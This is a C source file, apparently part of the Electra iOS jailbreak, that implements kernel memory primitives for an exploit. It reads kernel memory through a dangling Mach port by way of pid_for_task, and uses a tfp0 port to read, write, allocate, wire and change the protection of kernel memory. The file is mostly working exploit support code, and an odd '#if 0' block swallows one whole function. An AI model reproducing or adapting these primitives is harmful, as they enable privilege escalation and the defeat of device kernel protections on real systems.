123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309 |
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <mach/mach.h>
- #include "kmem.h"
- #include "kutils.h"
- /***** mach_vm.h *****/
- kern_return_t mach_vm_read(
- vm_map_t target_task,
- mach_vm_address_t address,
- mach_vm_size_t size,
- vm_offset_t *data,
- mach_msg_type_number_t *dataCnt);
- kern_return_t mach_vm_write(
- vm_map_t target_task,
- mach_vm_address_t address,
- vm_offset_t data,
- mach_msg_type_number_t dataCnt);
- kern_return_t mach_vm_read_overwrite(
- vm_map_t target_task,
- mach_vm_address_t address,
- mach_vm_size_t size,
- mach_vm_address_t data,
- mach_vm_size_t *outsize);
- kern_return_t mach_vm_allocate(
- vm_map_t target,
- mach_vm_address_t *address,
- mach_vm_size_t size,
- int flags);
- kern_return_t mach_vm_deallocate (
- vm_map_t target,
- mach_vm_address_t address,
- mach_vm_size_t size);
- kern_return_t mach_vm_protect (
- vm_map_t target_task,
- mach_vm_address_t address,
- mach_vm_size_t size,
- boolean_t set_maximum,
- vm_prot_t new_protection);
- // the exploit bootstraps the full kernel memory read/write with a fake
- // task which just allows reading via the bsd_info->pid trick
- // this first port is kmem_read_port
- mach_port_t kmem_read_port = MACH_PORT_NULL;
- void prepare_rk_via_kmem_read_port(mach_port_t port) {
- kmem_read_port = port;
- }
- mach_port_t tfp1 = MACH_PORT_NULL;
- void prepare_rwk_via_tfp0(mach_port_t port) {
- tfp1 = port;
- }
- int have_kmem_read() {
- return (kmem_read_port != MACH_PORT_NULL) || (tfp1 != MACH_PORT_NULL);
- }
- int have_kmem_write() {
- return (tfp1 != MACH_PORT_NULL);
- }
- uint32_t rk32_via_kmem_read_port(uint64_t kaddr) {
- kern_return_t err;
- if (kmem_read_port == MACH_PORT_NULL) {
- printf("kmem_read_port not set, have you called prepare_rk?\n");
- sleep(10);
- exit(EXIT_FAILURE);
- }
-
- mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
- err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
- if (err != KERN_SUCCESS) {
- printf("error setting context off of dangling port: %x %s\n", err, mach_error_string(err));
- sleep(10);
- exit(EXIT_FAILURE);
- }
-
- // now do the read:
- uint32_t val = 0;
- err = pid_for_task(kmem_read_port, (int*)&val);
- if (err != KERN_SUCCESS) {
- printf("error calling pid_for_task %x %s", err, mach_error_string(err));
- sleep(10);
- exit(EXIT_FAILURE);
- }
-
- return val;
- }
- uint32_t rk32_via_tfp0(uint64_t kaddr) {
- kern_return_t err;
- uint32_t val = 0;
- mach_vm_size_t outsize = 0;
-
- err = mach_vm_read_overwrite(tfp1,
- (mach_vm_address_t)kaddr,
- (mach_vm_size_t)sizeof(uint32_t),
- (mach_vm_address_t)&val,
- &outsize);
- if (err != KERN_SUCCESS){
- printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp1);
- sleep(3);
- return 0;
- }
-
- if (outsize != sizeof(uint32_t)){
- printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
- sleep(3);
- return 0;
- }
- return val;
- }
- uint32_t rk32_electra(uint64_t kaddr) {
- if (tfp1 != MACH_PORT_NULL) {
- return rk32_via_tfp0(kaddr);
- }
-
- if (kmem_read_port != MACH_PORT_NULL) {
- return rk32_via_kmem_read_port(kaddr);
- }
-
- printf("attempt to read kernel memory but no kernel memory read primitives available\n");
- sleep(3);
-
- return 0;
- }
- uint64_t rk64_electra(uint64_t kaddr) {
- uint64_t lower = rk32_electra(kaddr);
- uint64_t higher = rk32_electra(kaddr+4);
- uint64_t full = ((higher<<32) | lower);
- return full;
- }
- void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length) {
- if (tfp1 == MACH_PORT_NULL) {
- printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
- sleep(3);
- return;
- }
-
- kern_return_t err;
- err = mach_vm_write(tfp1,
- (mach_vm_address_t)kaddr,
- (vm_offset_t)buffer,
- (mach_msg_type_number_t)length);
-
- if (err != KERN_SUCCESS) {
- printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
- return;
- }
- }
- void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length) {
- kern_return_t err;
- mach_vm_size_t outsize = 0;
- err = mach_vm_read_overwrite(tfp1,
- (mach_vm_address_t)kaddr,
- (mach_vm_size_t)length,
- (mach_vm_address_t)buffer,
- &outsize);
- if (err != KERN_SUCCESS){
- printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp1);
- sleep(3);
- return;
- }
-
- if (outsize != length){
- printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
- sleep(3);
- return;
- }
- }
- const uint64_t kernel_address_space_base = 0xffff000000000000;
- void kmemcpy(uint64_t dest, uint64_t src, uint32_t length) {
- if (dest >= kernel_address_space_base) {
- // copy to kernel:
- wkbuffer(dest, (void*) src, length);
- } else {
- // copy from kernel
- rkbuffer(src, (void*)dest, length);
- }
- }
- void wk32_electra(uint64_t kaddr, uint32_t val) {
- if (tfp1 == MACH_PORT_NULL) {
- printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
- sleep(3);
- return;
- }
-
- kern_return_t err;
- err = mach_vm_write(tfp1,
- (mach_vm_address_t)kaddr,
- (vm_offset_t)&val,
- (mach_msg_type_number_t)sizeof(uint32_t));
-
- if (err != KERN_SUCCESS) {
- printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
- return;
- }
- }
- void wk64_electra(uint64_t kaddr, uint64_t val) {
- uint32_t lower = (uint32_t)(val & 0xffffffff);
- uint32_t higher = (uint32_t)(val >> 32);
- wk32_electra(kaddr, lower);
- wk32_electra(kaddr+4, higher);
- }
- uint64_t kmem_alloc(uint64_t size) {
- if (tfp1 == MACH_PORT_NULL) {
- printf("attempt to allocate kernel memory before any kernel memory write primitives available\n");
- sleep(3);
- return 0;
- }
-
- kern_return_t err;
- mach_vm_address_t addr = 0;
- mach_vm_size_t ksize = round_page_kernel(size);
- err = mach_vm_allocate(tfp1, &addr, ksize, VM_FLAGS_ANYWHERE);
- if (err != KERN_SUCCESS) {
- printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
- sleep(3);
- return 0;
- }
- return addr;
- }
- uint64_t kmem_alloc_wired(uint64_t size) {
- if (tfp1 == MACH_PORT_NULL) {
- printf("attempt to allocate kernel memory before any kernel memory write primitives available\n");
- sleep(3);
- return 0;
- }
-
- kern_return_t err;
- mach_vm_address_t addr = 0;
- mach_vm_size_t ksize = round_page_kernel(size);
-
- printf("vm_kernel_page_size: %lx\n", vm_kernel_page_size);
- err = mach_vm_allocate(tfp1, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE);
- if (err != KERN_SUCCESS) {
- printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
- sleep(3);
- return 0;
- }
-
- printf("allocated address: %llx\n", addr);
-
- addr += 0x3fff;
- addr &= ~0x3fffull;
-
- printf("address to wire: %llx\n", addr);
-
- err = mach_vm_wire(fake_host_priv(), tfp1, addr, ksize, VM_PROT_READ|VM_PROT_WRITE);
- if (err != KERN_SUCCESS) {
- printf("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
- sleep(3);
- return 0;
- }
- return addr;
- }
- void kmem_free(uint64_t kaddr, uint64_t size) {
- #if 0
- if (tfp1 == MACH_PORT_NULL) {
- printf("attempt to deallocate kernel memory before any kernel memory write primitives available\n");
- sleep(3);
- return;
- }
-
- kern_return_t err;
- mach_vm_size_t ksize = round_page_kernel(size);
- err = mach_vm_deallocate(tfp1, kaddr, ksize);
- if (err != KERN_SUCCESS) {
- printf("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
- sleep(3);
- return;
- }
- }
- void kmem_protect(uint64_t kaddr, uint32_t size, int prot) {
- if (tfp1 == MACH_PORT_NULL) {
- printf("attempt to change protection of kernel memory before any kernel memory write primitives available\n");
- sleep(3);
- return;
- }
- kern_return_t err;
- err = mach_vm_protect(tfp1, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
- if (err != KERN_SUCCESS) {
- printf("unable to change protection of kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
- sleep(3);
- return;
- }
- #endif
- }
|